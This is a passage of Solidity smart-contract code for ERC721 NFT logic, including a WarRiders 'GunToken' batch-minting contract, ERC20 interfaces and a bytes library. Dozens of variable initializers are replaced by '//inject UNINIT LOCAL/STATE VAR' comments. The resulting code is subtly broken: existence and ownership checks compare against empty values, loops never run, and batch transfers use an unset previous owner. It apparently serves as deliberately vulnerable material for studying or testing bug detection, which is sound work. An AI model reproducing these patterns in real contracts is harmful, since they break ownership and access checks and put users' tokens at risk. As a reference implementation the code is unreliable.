* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) internal {
_transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address owner ; //inject UNINIT LOCAL/STATE VAR
return owner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner ; //inject UNINIT LOCAL/STATE VAR
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to The address that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _addTokenTo(address to, uint256 tokenId) internal {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_tokenOwner[tokenId] = to;
_ownedTokensCount[to].increment();
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
require(ownerOf(tokenId) == owner, "ERC721: burn of token that is not own");
_clearApproval(tokenId);
_ownedTokensCount[owner].decrement();
_tokenOwner[tokenId] = address(0);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
internal returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval ; //inject UNINIT LOCAL/STATE VAR
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
/**
* @title ERC-721 Non-Fungible Token with optional enumeration extension logic
* Modified to work with the NoMintERC721 contract
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract NoMintERC721Enumerable is Context, ERC165, NoMintERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Constructor function.
*/
constructor () public {
// register the supported interface to conform to ERC721Enumerable via ERC165
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
require(index < balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev Gets the total amount of tokens stored by the contract.
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens.
* @param index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to transferFrom, this imposes no restrictions on msg.sender.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
super._transferFrom(from, to, tokenId);
_removeTokenFromOwnerEnumeration(from, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
}
/**
* @dev Internal function to mint a new token.
* Reverts if the given token ID already exists.
* @param to address the beneficiary that will own the minted token
* @param tokenId uint256 ID of the token to be minted
*/
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
_addTokenToOwnerEnumeration(to, tokenId);
_addTokenToAllTokensEnumeration(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {ERC721-_burn} instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
_removeTokenFromOwnerEnumeration(owner, tokenId);
// Since tokenId will be deleted, we can clear its slot in _ownedTokensIndex to trigger a gas refund
_ownedTokensIndex[tokenId] = 0;
_removeTokenFromAllTokensEnumeration(tokenId);
}
/**
* @dev Gets the list of token IDs of the requested owner.
* @param owner address owning the tokens
* @return uint256[] List of token IDs owned by the requested address
*/
function _tokensOfOwner(address owner) internal view returns (uint256[] storage) {
return _ownedTokens[owner];
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
_ownedTokensIndex[tokenId] = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 tokenIndex ; //inject UNINIT LOCAL/STATE VAR
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId ; //inject UNINIT LOCAL/STATE VAR
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
_ownedTokens[from].length--;
// Note that _ownedTokensIndex[tokenId] hasn't been cleared: it still points to the old slot (now occupied by
// lastTokenId, or just over the end of the array if the token was the last one).
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 tokenIndex ; //inject UNINIT LOCAL/STATE VAR
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId ; //inject UNINIT LOCAL/STATE VAR
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* Modified to change
* function tokenURI(uint256 tokenId) external view returns (string memory);
* to
* function tokenURI(uint256 tokenId) public view returns (string memory);
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
contract OveridableERC721Metadata is Context, ERC165, NoMintERC721, IERC721Metadata {
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns an URI for a given token ID.
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
return _tokenURIs[tokenId];
}
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = uri;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
/**
* ERC-721 implementation that allows
* tokens (of the same category) to be minted in batches. Each batch
* contains enough data to generate all
* token ids inside the batch, and to
* generate the tokenURI in the batch
*/
contract GunToken is NoMintERC721, NoMintERC721Enumerable, OveridableERC721Metadata, Ownable {
using strings for *;
address internal factory;
uint16 public constant maxAllocation = 4000;
uint256 public lastAllocation ; //inject UNINIT LOCAL/STATE VAR
event BatchTransfer(address indexed from, address indexed to, uint256 indexed batchIndex);
struct Batch {
address owner;
uint16 size;
uint8 category;
uint256 startId;
uint256 startTokenId;
}
Batch[] public allBatches;
mapping(address => uint256) unactivatedBalance;
mapping(uint256 => bool) isActivated;
mapping(uint256 => bool) public outOfBatch;
//Used for enumeration
mapping(address => Batch[]) public batchesOwned;
//Batch index to owner batch index
mapping(uint256 => uint256) public ownedBatchIndex;
mapping(uint8 => uint256) internal totalGunsMintedByCategory;
uint256 internal _totalSupply;
modifier onlyFactory {
require(msg.sender == factory, "Not authorized");
_;
}
constructor(address factoryAddress) public OveridableERC721Metadata("WarRiders Gun", "WRG") {
factory = factoryAddress;
}
function categoryTypeToId(uint8 category, uint256 categoryId) public view returns (uint256) {
for (uint i ; i < allBatches.length; i++) { //inject UNINIT LOCAL/STATE VAR
Batch memory a = allBatches[i];
if (a.category != category)
continue;
uint256 endId ; //inject UNINIT LOCAL/STATE VAR
if (categoryId >= a.startId && categoryId < endId) {
uint256 dif ; //inject UNINIT LOCAL/STATE VAR
return a.startTokenId + dif;
}
}
revert();
}
function fallbackCount(address __owner) public view returns (uint256) {
}
function fallbackIndex(address __owner, uint256 index) public view returns (uint256) {
}
function migrate(uint256 count) public onlyOwner returns (uint256) {
//Empty for interface
}
function migrateSingle() public onlyOwner returns (uint256) {
//Empty for interface
}
function recoverBatch2(uint256 index, uint256 tokenStart, uint256 tokenEnd) public onlyOwner {
}
function migrateBatch(uint256 index) public onlyOwner returns (uint256) {
}
function recoverBatch1(uint256 index) public onlyOwner {
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner.
* @param owner address owning the tokens list to be accessed
* @param index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view returns (uint256) {
return tokenOfOwner(owner)[index];
}
function getBatchCount(address owner) public view returns(uint256) {
return batchesOwned[owner].length;
}
function updateGunFactory(address _factory) public onlyOwner {
}
function getTokensInBatch(address owner, uint256 index) public view returns (uint256[] memory) {
Batch memory a = batchesOwned[owner][index];
uint256[] memory result = new uint256[](a.size);
uint256 pos ; //inject UNINIT LOCAL/STATE VAR
uint end ; //inject UNINIT LOCAL/STATE VAR
for (uint i ; i < end; i++) { //inject UNINIT LOCAL/STATE VAR
if (isActivated[i] && super.ownerOf(i) != owner) {
continue;
}
result[pos] = i;
pos++;
}
require(pos > 0);
uint256 subAmount ; //inject UNINIT LOCAL/STATE VAR
assembly { mstore(result, sub(mload(result), subAmount)) }
return result;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
return allTokens()[index];
}
function allTokens() public view returns (uint256[] memory) {
uint256[] memory result = new uint256[](totalSupply());
uint pos ; //inject UNINIT LOCAL/STATE VAR
for (uint i ; i < allBatches.length; i++) { //inject UNINIT LOCAL/STATE VAR
Batch memory a = allBatches[i];
uint end ; //inject UNINIT LOCAL/STATE VAR
for (uint j ; j < end; j++) { //inject UNINIT LOCAL/STATE VAR
result[pos] = j;
pos++;
}
}
return result;
}
function tokenOfOwner(address owner) public view returns (uint256[] memory) {
uint256[] memory result = new uint256[](balanceOf(owner));
uint pos ; //inject UNINIT LOCAL/STATE VAR
for (uint i ; i < batchesOwned[owner].length; i++) { //inject UNINIT LOCAL/STATE VAR
Batch memory a = batchesOwned[owner][i];
uint end ; //inject UNINIT LOCAL/STATE VAR
for (uint j ; j < end; j++) { //inject UNINIT LOCAL/STATE VAR
if (isActivated[j] && super.ownerOf(j) != owner) {
continue;
}
result[pos] = j;
pos++;
}
}
uint256[] memory fallbackOwned = _tokensOfOwner(owner);
for (uint i ; i < fallbackOwned.length; i++) { //inject UNINIT LOCAL/STATE VAR
result[pos] = fallbackOwned[i];
pos++;
}
return result;
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return super.balanceOf(owner) + unactivatedBalance[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
require(exists(tokenId), "Token doesn't exist!");
if (isActivated[tokenId]) {
return super.ownerOf(tokenId);
}
uint256 index ; //inject UNINIT LOCAL/STATE VAR
require(index < allBatches.length, "Token batch doesn't exist");
Batch memory a = allBatches[index];
require(tokenId < a.startTokenId + a.size);
return a.owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
if (isActivated[_tokenId]) {
return super._exists(_tokenId);
} else {
uint256 index ; //inject UNINIT LOCAL/STATE VAR
if (index < allBatches.length) {
Batch memory a = allBatches[index];
uint end ; //inject UNINIT LOCAL/STATE VAR
return _tokenId < end;
}
return false;
}
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function claimAllocation(address to, uint16 size, uint8 category) public onlyFactory returns (uint) {
require(size < maxAllocation, "Size must be smaller than maxAllocation");
allBatches.push(Batch({
owner: to,
size: size,
category: category,
startId: totalGunsMintedByCategory[category],
startTokenId: lastAllocation
}));
uint end ; //inject UNINIT LOCAL/STATE VAR
for (uint i ; i < end; i++) { //inject UNINIT LOCAL/STATE VAR
emit Transfer(address(0), to, i);
}
lastAllocation += maxAllocation;
unactivatedBalance[to] += size;
totalGunsMintedByCategory[category] += size;
_addBatchToOwner(to, allBatches[allBatches.length - 1]);
_totalSupply += size;
return lastAllocation;
}
function transferFrom(address from, address to, uint256 tokenId) public {
if (!isActivated[tokenId]) {
activate(tokenId);
}
super.transferFrom(from, to, tokenId);
}
function activate(uint256 tokenId) public {
require(!isActivated[tokenId], "Token already activated");
uint256 index ; //inject UNINIT LOCAL/STATE VAR
require(index < allBatches.length, "Token batch doesn't exist");
Batch memory a = allBatches[index];
require(tokenId < a.startTokenId + a.size);
isActivated[tokenId] = true;
addTokenTo(a.owner, tokenId);
unactivatedBalance[a.owner]--;
}
function getBatchIndex(uint256 tokenId) public pure returns (uint256) {
uint256 index ; //inject UNINIT LOCAL/STATE VAR
return index;
}
function categoryForToken(uint256 tokenId) public view returns (uint8) {
uint256 index ; //inject UNINIT LOCAL/STATE VAR
require(index < allBatches.length, "Token batch doesn't exist");
Batch memory a = allBatches[index];
return a.category;
}
function categoryIdForToken(uint256 tokenId) public view returns (uint256) {
uint256 index ; //inject UNINIT LOCAL/STATE VAR
require(index < allBatches.length, "Token batch doesn't exist");
Batch memory a = allBatches[index];
uint256 categoryId ; //inject UNINIT LOCAL/STATE VAR
return categoryId;
}
function uintToString(uint v) internal pure returns (string memory) {
if (v == 0) {
return "0";
}
uint j ; //inject UNINIT LOCAL/STATE VAR
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k ; //inject UNINIT LOCAL/STATE VAR
while (v != 0) {
bstr[k--] = byte(uint8(48 + v % 10));
v /= 10;
}
return string(bstr);
}
function tokenURI(uint256 tokenId) public view returns (string memory) {
require(exists(tokenId), "Token doesn't exist!");
if (isActivated[tokenId]) {
return super.tokenURI(tokenId);
} else {
//Predict the token URI
uint8 category ; //inject UNINIT LOCAL/STATE VAR
uint256 _categoryId ; //inject UNINIT LOCAL/STATE VAR
string memory id = uintToString(category).toSlice().concat("/".toSlice()).toSlice().concat(uintToString(_categoryId).toSlice().concat(".json".toSlice()).toSlice());
string memory _base = "https://vault.warriders.com/guns/";
//Final URL: https://vault.warriders.com/guns/<category>/<category_id>.json
string memory _metadata = _base.toSlice().concat(id.toSlice());
return _metadata;
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
//Predict the token URI
uint8 category ; //inject UNINIT LOCAL/STATE VAR
uint256 _categoryId ; //inject UNINIT LOCAL/STATE VAR
string memory id = uintToString(category).toSlice().concat("/".toSlice()).toSlice().concat(uintToString(_categoryId).toSlice().concat(".json".toSlice()).toSlice());
string memory _base = "https://vault.warriders.com/guns/";
//Final URL: https://vault.warriders.com/guns/<category>/<category_id>.json
string memory _metadata = _base.toSlice().concat(id.toSlice());
super._addTokenTo(_to, _tokenId);
super._setTokenURI(_tokenId, _metadata);
}
function ceil(uint a, uint m) internal pure returns (uint ) {
return ((a + m - 1) / m) * m;
}
function _removeBatchFromOwner(address from, Batch memory batch) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 globalIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 lastBatchIndex ; //inject UNINIT LOCAL/STATE VAR
uint256 batchIndex ; //inject UNINIT LOCAL/STATE VAR
// When the token to delete is the last token, the swap operation is unnecessary
if (batchIndex != lastBatchIndex) {
Batch memory lastBatch = batchesOwned[from][lastBatchIndex];
uint256 lastGlobalIndex ; //inject UNINIT LOCAL/STATE VAR
batchesOwned[from][batchIndex] = lastBatch; // Move the last batch to the slot of the to-delete batch
ownedBatchIndex[lastGlobalIndex] = batchIndex; // Update the moved batch's index
}
// This also deletes the contents at the last position of the array
batchesOwned[from].length--;
// Note that ownedBatchIndex[batch] hasn't been cleared: it still points to the old slot (now occupied by
// lastBatch, or just over the end of the array if the batch was the last one).
}
function _addBatchToOwner(address to, Batch memory batch) private {
uint256 globalIndex ; //inject UNINIT LOCAL/STATE VAR
ownedBatchIndex[globalIndex] = batchesOwned[to].length;
batchesOwned[to].push(batch);
}
function batchTransfer(uint256 batchIndex, address to) public {
Batch storage a = allBatches[batchIndex];
address previousOwner ; //inject UNINIT LOCAL/STATE VAR
require(a.owner == msg.sender);
_removeBatchFromOwner(previousOwner, a);
a.owner = to;
_addBatchToOwner(to, a);
emit BatchTransfer(previousOwner, to, batchIndex);
//Now to need to emit a bunch of transfer events
uint end ; //inject UNINIT LOCAL/STATE VAR
uint256 unActivated ; //inject UNINIT LOCAL/STATE VAR
for (uint i ; i < end; i++) { //inject UNINIT LOCAL/STATE VAR
if (isActivated[i]) {
if (ownerOf(i) != previousOwner)
continue; //The previous owner didn't own this token, don't emit an event
} else {
unActivated++;
}
emit Transfer(previousOwner, to, i);
}
unactivatedBalance[to] += unActivated;
unactivatedBalance[previousOwner] -= unActivated;
}
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public payable returns (bool);
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract BurnableToken is ERC20 {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public;
}
contract StandardBurnableToken is BurnableToken {
function burnFrom(address _from, uint256 _value) public;
}
interface BZNFeed {
/**
* Returns the converted BZN value
*/
function convert(uint256 usd) external view returns (uint256);
}
contract SimpleBZNFeed is BZNFeed, Ownable {
uint256 private conversion;
function updateConversion(uint256 conversionRate) public onlyOwner {
conversion = conversionRate;
}
function convert(uint256 usd) external view returns (uint256) {
return usd * conversion;
}
}
interface IDSValue {
function peek() external view returns (bytes32, bool);
function read() external view returns (bytes32);
function poke(bytes32 wut) external;
function void() external;
}
library BytesLib {
function concat(
bytes memory _preBytes,
bytes memory _postBytes
)
internal
pure
returns (bytes memory)
{
bytes memory tempBytes;
assembly {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// Store the length of the first bytes array at the beginning of
// the memory for tempBytes.
let length := mload(_preBytes)
mstore(tempBytes, length)
// Maintain a memory counter for the current write location in the
// temp bytes array by adding the 32 bytes for the array length to
// the starting location.
let mc := add(tempBytes, 0x20)
// Stop copying when the memory counter reaches the length of the
// first bytes array.
let end := add(mc, length)
for {
// Initialize a copy counter to the start of the _preBytes data,
// 32 bytes into its memory.
let cc := add(_preBytes, 0x20)
} lt(mc, end) {
// Increase both counters by 32 bytes each iteration.
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
// Write the _preBytes data into the tempBytes memory 32 bytes
// at a time.
mstore(mc, mload(cc))
}
// Add the length of _postBytes to the current length of tempBytes
// and store it as the new length in the first 32 bytes of the
// tempBytes memory.
length := mload(_postBytes)
mstore(tempBytes, add(length, mload(tempBytes)))
// Move the memory counter back from a multiple of 0x20 to the
// actual end of the _preBytes data.
mc := end
// Stop copying when the memory counter reaches the new combined
// length of the arrays.
end := add(mc, length)
for {
let cc := add(_postBytes, 0x20)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
// Update the free-memory pointer by padding our last write location
// to 32 bytes: add 31 bytes to the end of tempBytes to move to the
// next 32 byte block, then round down to the nearest multiple of
// 32. If the sum of the length of the two arrays is zero then add
// one before rounding down to leave a blank 32 bytes (the length block with 0).
mstore(0x40, and(
add(add(end, iszero(add(length, mload(_preBytes)))), 31),
not(31) // Round down to the nearest 32 bytes.
))
}
return tempBytes;
}
function concatStorage(bytes storage _preBytes, bytes memory _postBytes) internal {
assembly {
// Read the first 32 bytes of _preBytes storage, which is the length
// of the array. (We don't need to use the offset into the slot
// because arrays use the entire slot.)
let fslot := sload(_preBytes_slot)
// Arrays of 31 bytes or less have an even value in their slot,
// while longer arrays have an odd value. The actual length is
// the slot divided by two for odd values, and the lowest order
// byte divided by two for even values.
// If the slot is even, bitwise and the slot with 255 and divide by
// two to get the length. If the slot is odd, bitwise and the slot
// with -1 and divide by two.
let slength := div(and(fslot, sub(mul(0x100, iszero(and(fslot, 1))), 1)), 2)
let mlength := mload(_postBytes)
let newlength := add(slength, mlength)
// slength can contain both the length and contents of the array
// if length < 32 bytes so let's prepare for that
// v. http://solidity.readthedocs.io/en/latest/miscellaneous.html#layout-of-state-variables-in-storage
switch add(lt(slength, 32), lt(newlength, 32))
case 2 {
// Since the new array still fits in the slot, we just need to
// update the contents of the slot.
// uint256(bytes_storage) = uint256(bytes_storage) + uint256(bytes_memory) + new_length
sstore(
_preBytes_slot,
// all the modifications to the slot are inside this
// next block
add(
// we can just add to the slot contents because the
// bytes we want to change are the LSBs
fslot,
add(
mul(
div(
// load the bytes from memory
mload(add(_postBytes, 0x20)),
// zero all bytes to the right
exp(0x100, sub(32, mlength))
),
// and now shift left the number of bytes to
// leave space for the length in the slot
exp(0x100, sub(32, newlength))
),
// increase length by the double of the memory
// bytes length
mul(mlength, 2)
)
)
)
}
case 1 {
// The stored value fits in the slot, but the combined value
// will exceed it.
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes_slot, add(mul(newlength, 2), 1))
// The contents of the _postBytes array start 32 bytes into
// the structure. Our first read should obtain the `submod`
// bytes that can fit into the unused space in the last word
// of the stored array. To get this, we read 32 bytes starting
// from `submod`, so the data we read overlaps with the array
// contents by `submod` bytes. Masking the lowest-order
// `submod` bytes allows us to add that value directly to the
// stored value.
let submod := sub(32, slength)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(
sc,
add(
and(
fslot,
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00
),
and(mload(mc), mask)
)
)
for {
mc := add(mc, 0x20)
sc := add(sc, 1)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
default {
// get the keccak hash to get the contents of the array
mstore(0x0, _preBytes_slot)
// Start copying to the last used word of the stored array.
let sc := add(keccak256(0x0, 0x20), div(slength, 32))
// save new length
sstore(_preBytes_slot, add(mul(newlength, 2), 1))
// Copy over the first `submod` bytes of the new data as in
// case 1 above.
let slengthmod := mod(slength, 32)
let mlengthmod := mod(mlength, 32)
let submod := sub(32, slengthmod)
let mc := add(_postBytes, submod)
let end := add(_postBytes, mlength)
let mask := sub(exp(0x100, submod), 1)
sstore(sc, add(sload(sc), and(mload(mc), mask)))
for {
sc := add(sc, 1)
mc := add(mc, 0x20)
} lt(mc, end) {
sc := add(sc, 1)
mc := add(mc, 0x20)
} {
sstore(sc, mload(mc))
}
mask := exp(0x100, sub(mc, end))
sstore(sc, mul(div(mload(mc), mask), mask))
}
}
}
function slice(
bytes memory _bytes,
uint _start,
uint _length
)
internal
pure
returns (bytes memory)
{
require(_bytes.length >= (_start + _length));
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
